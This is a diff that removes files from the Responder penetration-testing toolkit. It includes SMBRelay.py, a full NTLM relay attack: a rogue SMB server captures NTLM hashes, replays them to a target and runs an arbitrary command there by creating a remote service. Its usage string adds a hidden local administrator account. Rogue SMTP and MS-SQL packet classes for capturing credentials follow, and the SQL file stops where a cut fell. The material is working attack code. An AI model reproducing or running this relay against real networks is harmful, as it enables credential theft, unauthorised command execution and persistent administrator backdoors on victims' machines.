-        ## AndXOffset
-        self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
-        ## BCC Len Calc
-        BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
-        self.fields["Bcc"] = struct.pack("<H", len(BccLen))
-
-# SMB Session/Tree Answer.
-class SMBSessTreeAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",       "\x03"),
-        ("Command",         "\x75"), 
-        ("Reserved",        "\x00"),
-        ("AndXoffset",      "\x4e\x00"),
-        ("Action",          "\x01\x00"),
-        ("Bcc",             "\x25\x00"),
-        ("NativeOs",        "Windows 5.1"),
-        ("NativeOsNull",    "\x00"),
-        ("NativeLan",       "Windows 2000 LAN Manager"),
-        ("NativeLanNull",   "\x00"),
-        ("WordcountTree",   "\x03"),
-        ("AndXCommand",     "\xff"),
-        ("Reserved1",       "\x00"),
-        ("AndxOffset",      "\x00\x00"),
-        ("OptionalSupport", "\x01\x00"),
-        ("Bcc2",            "\x08\x00"),
-        ("Service",         "A:"),
-        ("ServiceNull",     "\x00"),
-        ("FileSystem",      "NTFS"),
-        ("FileSystemNull",  "\x00"),
-
-    ])
-
-    def calculate(self):
-        ##AndxOffset
-        CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-        self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
-        ##BCC 1 and 2
-        CompleteBCCLen =  str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
-        self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))

SMBRelay.py

@@ -1,448 +0,0 @@
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
-from FingerprintRelay import RunSmbFinger
-from odict import OrderedDict
-from socket import *
-from RelayPackets import *
-
-def UserCallBack(op, value, dmy, parser):
-        args=[]
-        for arg in parser.rargs:
-                if arg[0] != "-":
-                        args.append(arg)
-        if getattr(parser.values, op.dest):
-                args.extend(getattr(parser.values, op.dest))
-        setattr(parser.values, op.dest, args)
-
-parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
-                               prog=sys.argv[0],
-                               )
-parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
-
-parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
-
-parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
-
-parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
-
-parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
-
-options, args = parser.parse_args()
-
-if options.CMD is None:
-   print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.TARGET is None:
-   print "\n-t mandatory option is missing, please provide a target.\n"
-   parser.print_help()
-   exit(-1)
-
-if options.UserToRelay is None:
-   print "\n-u mandatory option is missing, please provide a username to relay.\n"
-   parser.print_help()
-   exit(-1)
-
-ResponderPATH = os.path.dirname(__file__)
-# Set some vars.
-UserToRelay = options.UserToRelay
-Domain  = options.Domain
-Command  = options.CMD
-Target = options.TARGET
-OURIP = options.OURIP
-
-print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
-print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames  to relay (-u) are case sensitive.'+'\033[0m'
-print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' 
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#Logger
-import logging
-Logs = logging
-Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
-
-#Function used to verify if a previous auth attempt was made.
-def ReadData(outfile,Client, User, cmd=None):
-    try:
-       with open(ResponderPATH+outfile,"r") as filestr:
-          if cmd == None:
-             String = Client+':'+User
-             if re.search(String.encode('hex'), filestr.read().encode('hex')):
-                filestr.close()
-                return True
-             else:
-                return False
-          if cmd != None:
-             String = Client+","+User+","+cmd
-             if re.search(String.encode('hex'), filestr.read().encode('hex')):
-                filestr.close()
-                print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
-                return True
-             else:
-                return False           
-
-    except:
-       raise
-
-#Function used to parse SMB NTLMv1/v2 
-def ParseHash(data,Client, Target):
-  try:
-    lenght = struct.unpack('<H',data[43:45])[0]
-    LMhashLen = struct.unpack('<H',data[51:53])[0]
-    NthashLen = struct.unpack('<H',data[53:55])[0]
-    Bcc = struct.unpack('<H',data[63:65])[0]
-    if NthashLen >= 30:
-       Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
-       pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-       var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-       Username, Domain = tuple(var)
-       if ReadData("SMBRelay-Session.txt", Client, Username):
-          print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
-          pass
-       if Username in UserToRelay:
-          print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
-          print "Username : ",Username
-          print "Domain (if joined, if not then computer name) : ",Domain
-          return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
-    if NthashLen == 24:
-       pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
-       var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
-       Username, Domain = tuple(var)
-       if ReadData("SMBRelay-Session.txt", Client, Username):
-          print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
-          pass
-       if Username in UserToRelay:
-          print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
-          LMHashing = data[65:65+LMhashLen].encode('hex').upper()
-          NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
-          print "Username : ",Username
-          print "Domain (if joined, if not then computer name) : ",Domain
-          return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
-       else:
-          print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
-          pass
-
-
-  except Exception:
-    raise
-
-#Detect if SMB auth was Anonymous
-def Is_Anonymous(data):
-    LMhashLen = struct.unpack('<H',data[51:53])[0]
-    if LMhashLen == 0 or LMhashLen == 1:
-       print "SMB Anonymous login requested, trying to force client to auth with credz."
-       return True
-    else:
-       return False
-
-def ParseDomain(data):
-    Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
-    return Domain
-
-#Function used to know which dialect number to return for NT LM 0.12
-def Parse_Nego_Dialect(data):
-    DialectStart = data[40:]
-    pack = tuple(DialectStart.split('\x02'))[:10]
-    var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
-    test = tuple(var)
-    if test[0] == "NT LM 0.12":
-       return "\x00\x00"
-    if test[1] == "NT LM 0.12":
-       return "\x01\x00"
-    if test[2] == "NT LM 0.12":
-       return "\x02\x00"
-    if test[3] == "NT LM 0.12":
-       return "\x03\x00"
-    if test[4] == "NT LM 0.12":
-       return "\x04\x00"
-    if test[5] == "NT LM 0.12":
-       return "\x05\x00"
-    if test[6] == "NT LM 0.12":
-       return "\x06\x00"
-    if test[7] == "NT LM 0.12":
-       return "\x07\x00"
-    if test[8] == "NT LM 0.12":
-       return "\x08\x00"
-    if test[9] == "NT LM 0.12":
-       return "\x09\x00"
-    if test[10] == "NT LM 0.12":
-       return "\x0a\x00"
-
-def SmbRogueSrv139(key,Target,DomainMachineName):
-    s = socket(AF_INET,SOCK_STREAM)
-    s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
-    s.settimeout(30)
-    try:
-       s.bind(('0.0.0.0', 139))
-       s.listen(0)
-       conn, addr = s.accept()
-    except error, msg:
-       if "Address already in use" in msg:
-          print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
-       
-    try:
-       while True:
-         data = conn.recv(1024)
-         ##session request 139
-         if data[0] == "\x81":
-            buffer0 = "\x82\x00\x00\x00"         
-            conn.send(buffer0)
-         ##Negotiate proto answer.
-         if data[8:10] == "\x72\x00":
-            head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
-            t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
-            t.calculate()
-            packet1 = str(head)+str(t)
-            buffer1 = longueur(packet1)+packet1
-            conn.send(buffer1)
-            ##Session Setup AndX Request
-         if data[8:10] == "\x73\x00":
-            if Is_Anonymous(data):
-               head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
-               packet1 = str(head)+str(SMBSessEmpty())
-               buffer1 = longueur(packet1)+packet1  
-               conn.send(buffer1)
-            else:
-               head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
-               packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
-               buffer1 = longueur(packet1)+packet1  
-               conn.send(buffer1)
-               Credz = ParseHash(data,addr[0],Target)
-               return Credz
-    except:
-       return None
-
-def RunRelay(host, Command,Domain):
-    Target = host
-    CMD = Command
-    print "Target is running: ", RunSmbFinger((host, 445))
-    s = socket(AF_INET, SOCK_STREAM)
-    s.connect((host, 445))
-    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x03\xc7",pid="\xff\xfe", tid="\xff\xff")
-    n = SMBNego(Data = SMBNegoData())
-    n.calculate()
-    packet0 = str(h)+str(n)
-    buffer0 = longueur(packet0)+packet0
-    s.send(buffer0)
-    data = s.recv(2048)
-    Key = ParseAnswerKey(data,host)
-    DomainMachineName = ParseDomain(data)
-    if data[8:10] == "\x72\x00":
-       try: 
-          a = SmbRogueSrv139(Key,Target,DomainMachineName)
-          if a is not None:
-             LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
-             if Domain == None:
-                Domain = OriginalDomain
-             if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
-                pass
-             else:
-                head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
-                t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
-                t.calculate()
-                packet0 = str(head)+str(t)
-                buffer1 = longueur(packet0)+packet0
-                s.send(buffer1)
-                data = s.recv(2048)
-       except:
-          raise
-          a = None
-    if data[8:10] == "\x73\x6d":
-          print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
-          Logs.info(CLIENTIP+":"+Username)
-    if data[8:10] == "\x73\x0d":
-          print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
-          Logs.info(CLIENTIP+":"+Username)
-       ## NtCreateAndx
-    if data[8:10] == "\x73\x00":
-          print "[+] Authenticated, trying to PSexec on target !"
-          head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-          t = SMBNTCreateData()
-          t.calculate()
-          packet0 = str(head)+str(t)
-          buffer1 = longueur(packet0)+packet0  
-          s.send(buffer1)
-          data = s.recv(2048)
-       ## Fail Handling.
-    if data[8:10] == "\xa2\x22":
-          print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
-       ## DCE/RPC Write.
-    if data[8:10] == "\xa2\x00":
-          head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-          x = SMBDCEData()
-          x.calculate()
-          f = data[42:44]
-          t = SMBWriteData(FID=f,Data=x)
-          t.calculate()
-          packet0 = str(head)+str(t)
-          buffer1 = longueur(packet0)+packet0  
-          s.send(buffer1)
-          data = s.recv(2048)
-          ## DCE/RPC Read.
-          if data[8:10] == "\x2f\x00":
-             head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-             t = SMBReadData(FID=f)
-             t.calculate()
-             packet0 = str(head)+str(t)
-             buffer1 = longueur(packet0)+packet0  
-             s.send(buffer1)
-             data = s.recv(2048)
-             ## DCE/RPC SVCCTLOpenManagerW.
-             if data[8:10] == "\x2e\x00":
-                head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
-                w.calculate()
-                x = SMBDCEPacketData(Data=w)
-                x.calculate()
-                t = SMBWriteData(FID=f,Data=x)
-                t.calculate()
-                packet0 = str(head)+str(t)
-                buffer1 = longueur(packet0)+packet0  
-                s.send(buffer1)
-                data = s.recv(2048)
-                ## DCE/RPC Read Answer.
-                if data[8:10] == "\x2f\x00":
-                   head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                   t = SMBReadData(FID=f)
-                   t.calculate()
-                   packet0 = str(head)+str(t)
-                   buffer1 = longueur(packet0)+packet0  
-                   s.send(buffer1)
-                   data = s.recv(2048)
-                   ## DCE/RPC SVCCTLCreateService.
-                   if data[8:10] == "\x2e\x00":
-                      if data[len(data)-4:] == "\x05\x00\x00\x00":
-                         print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
-                      print "[+] Creating service"
-                      head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                      ContextHandler = data[88:108]
-                      ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
-                      ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
-                      FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
-                      w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
-                      w.calculate()
-                      x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
-                      x.calculate()
-                      t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                      t.calculate()
-                      packet0 = str(head)+str(t)
-                      buffer1 = longueur(packet0)+packet0  
-                      s.send(buffer1)
-                      data = s.recv(2048)
-                      ## DCE/RPC Read Answer.
-                      if data[8:10] == "\x2f\x00":
-                         head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                         t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                         t.calculate()
-                         packet0 = str(head)+str(t)
-                         buffer1 = longueur(packet0)+packet0  
-                         s.send(buffer1)
-                         data = s.recv(2048)
-                         ## DCE/RPC SVCCTLOpenService.
-                         if data[8:10] == "\x2e\x00":
-                            if data[len(data)-4:] == "\x05\x00\x00\x00":
-                               print "[+] Failed to create the service"
-
-                            head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                            w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
-                            w.calculate()
-                            x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
-                            x.calculate()
-                            t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                            t.calculate()
-                            packet0 = str(head)+str(t)
-                            buffer1 = longueur(packet0)+packet0  
-                            s.send(buffer1)
-                            data = s.recv(2048)
-                            ## DCE/RPC Read Answer.
-                            if data[8:10] == "\x2f\x00":
-                               head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                               t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                               t.calculate()
-                               packet0 = str(head)+str(t)
-                               buffer1 = longueur(packet0)+packet0  
-                               s.send(buffer1)
-                               data = s.recv(2048)
-                               ## DCE/RPC SVCCTLStartService.
-                               if data[8:10] == "\x2e\x00":
-                                  if data[len(data)-4:] == "\x05\x00\x00\x00":
-                                     print "[+] Failed to open the service"
-                                  ContextHandler = data[88:108]
-                                  head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                  w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
-                                  x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
-                                  x.calculate()
-                                  t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
-                                  t.calculate()
-                                  packet0 = str(head)+str(t)
-                                  buffer1 = longueur(packet0)+packet0  
-                                  s.send(buffer1)
-                                  data = s.recv(2048)
-                                  ## DCE/RPC Read Answer.
-                                  if data[8:10] == "\x2f\x00":
-                                     head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                                     t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
-                                     t.calculate()
-                                     packet0 = str(head)+str(t)
-                                     buffer1 = longueur(packet0)+packet0  
-                                     s.send(buffer1)
-                                     data = s.recv(2048)
-                                     if data[8:10] == "\x2e\x00":
-                                        print "[+] Command successful !"
-                                        Logs.info('Command successful:')
-                                        Logs.info(Target+","+Username+','+CMD)
-                                        return True
-                                     if data[8:10] != "\x2e\x00":
-                                        return False
-
-
-def RunInloop(Target,Command,Domain):
-   try:
-      while True:
-         worker = RunRelay(Target,Command,Domain)
-   except:
-      raise
-
-
-def main():
-   try:
-      thread.start_new(RunInloop,(Target,Command,Domain))
-   except KeyboardInterrupt:
-      exit()
-
-if __name__ == '__main__':
-    try:
-        main()
-    except KeyboardInterrupt:
-        raise
-    raw_input()
-

SMTPPackets.py

@@ -1,74 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#SMTP Greating class
-class SMTPGreating(Packet):
-    fields = OrderedDict([
-        ("Code",             "220"),
-        ("Separator",        "\x20"), 
-        ("Message",          "smtp01.local ESMTP"),
-        ("CRLF",             "\x0d\x0a"),
-        ]) 
-
-class SMTPAUTH(Packet):
-    fields = OrderedDict([
-        ("Code0",            "250"),
-        ("Separator0",       "\x2d"), 
-        ("Message0",         "smtp01.local"),
-        ("CRLF0",            "\x0d\x0a"),
-        ("Code",             "250"),
-        ("Separator",        "\x20"), 
-        ("Message",          "AUTH LOGIN PLAIN XYMCOOKIE"),
-        ("CRLF",             "\x0d\x0a"),
-        ]) 
-
-class SMTPAUTH1(Packet):
-    fields = OrderedDict([
-        ("Code",             "334"),
-        ("Separator",        "\x20"), 
-        ("Message",          "VXNlcm5hbWU6"),#Username
-        ("CRLF",             "\x0d\x0a"),
-
-        ]) 
-
-class SMTPAUTH2(Packet):
-    fields = OrderedDict([
-        ("Code",             "334"),
-        ("Separator",        "\x20"), 
-        ("Message",          "UGFzc3dvcmQ6"),#Password
-        ("CRLF",             "\x0d\x0a"),
-
-        ]) 
-
-

SQLPackets.py

@@ -1,167 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#MS-SQL Pre-login packet class
-class MSSQLPreLoginAnswer(Packet):
-    fields = OrderedDict([
-        ("PacketType",       "\x04"),
-        ("Status",           "\x01"), 
-        ("Len",              "\x00\x25"),
-        ("SPID",             "\x00\x00"),
-        ("PacketID",         "\x01"),
-        ("Window",           "\x00"),
-        ("TokenType",        "\x00"),
-        ("VersionOffset",    "\x00\x15"),
-        ("VersionLen",       "\x00\x06"),
-        ("TokenType1",       "\x01"),
-        ("EncryptionOffset", "\x00\x1b"),
-        ("EncryptionLen",    "\x00\x01"),
-        ("TokenType2",       "\x02"),
-        ("InstOptOffset",    "\x00\x1c"),
-        ("InstOptLen",       "\x00\x01"),
-        ("TokenTypeThrdID",  "\x03"),
-        ("ThrdIDOffset",     "\x00\x1d"),
-        ("ThrdIDLen",        "\x00\x00"),
-        ("ThrdIDTerminator", "\xff"),
-        ("VersionStr",       "\x09\x00\x0f\xc3"),
-        ("SubBuild",         "\x00\x00"),
-        ("EncryptionStr",    "\x02"),
-        ("InstOptStr",       "\x00"),
-        ]) 
-
-    def calculate(self):
-        CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
-
-        VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
-
-        EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
-
-        InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
-         
-        ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
-
-        self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
-        #Version
-        self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
-        self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
-        #Encryption
-        self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
-        self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
-        #InstOpt
-        self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
-        self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
-        #ThrdIDOffset
-        self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
-
-#MS-SQL NTLM Negotiate packet class
-class MSSQLNTLMChallengeAnswer(Packet):
-    fields = OrderedDict([
-        ("PacketType",       "\x04"), 
-        ("Status",           "\x01"),
-        ("Len",              "\x00\xc7"),
-        ("SPID",             "\x00\x00"),
-        ("PacketID",         "\x01"),
-        ("Window",           "\x00"),
-        ("TokenType",        "\xed"),
-        ("SSPIBuffLen",      "\xbc\x00"),
-        ("Signature",        "NTLMSSP"),
-        ("SignatureNull",    "\x00"),
-        ("MessageType",      "\x02\x00\x00\x00"),
-        ("TargetNameLen",    "\x06\x00"),
-        ("TargetNameMaxLen", "\x06\x00"),
-        ("TargetNameOffset", "\x38\x00\x00\x00"),
-        ("NegoFlags",        "\x05\x02\x89\xa2"),
-        ("ServerChallenge",  ""),
-        ("Reserved",         "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("TargetInfoLen",    "\x7e\x00"),
-        ("TargetInfoMaxLen", "\x7e\x00"),
-        ("TargetInfoOffset", "\x3e\x00\x00\x00"),
-        ("NTLMOsVersion",    "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
-        ("TargetNameStr",    "SMB"),
-        ("Av1",              "\x02\x00"),#nbt name
-        ("Av1Len",           "\x06\x00"),
-        ("Av1Str",           "SMB"),
-        ("Av2",              "\x01\x00"),#Server name
-        ("Av2Len",           "\x14\x00"),
-        ("Av2Str",           "SMB-TOOLKIT"),
-        ("Av3",              "\x04\x00"),#Full Domain name
-        ("Av3Len",           "\x12\x00"),
-        ("Av3Str",           "smb.local"),
-        ("Av4",              "\x03\x00"),#Full machine domain name
-        ("Av4Len",           "\x28\x00"),
-        ("Av4Str",           "server2003.smb.local"),
-        ("Av5",              "\x05\x00"),#Domain Forest Name
-        ("Av5Len",           "\x12\x00"),
-        ("Av5Str",           "smb.local"),
-        ("Av6",              "\x00\x00"),#AvPairs Terminator
-        ("Av6Len",           "\x00\x00"),
-        ]) 
-
-    def calculate(self):
-        ##First convert to uni
-        self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
-        self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
-        self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
-        self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
-        self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
-        self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
-        ##Then calculate
-
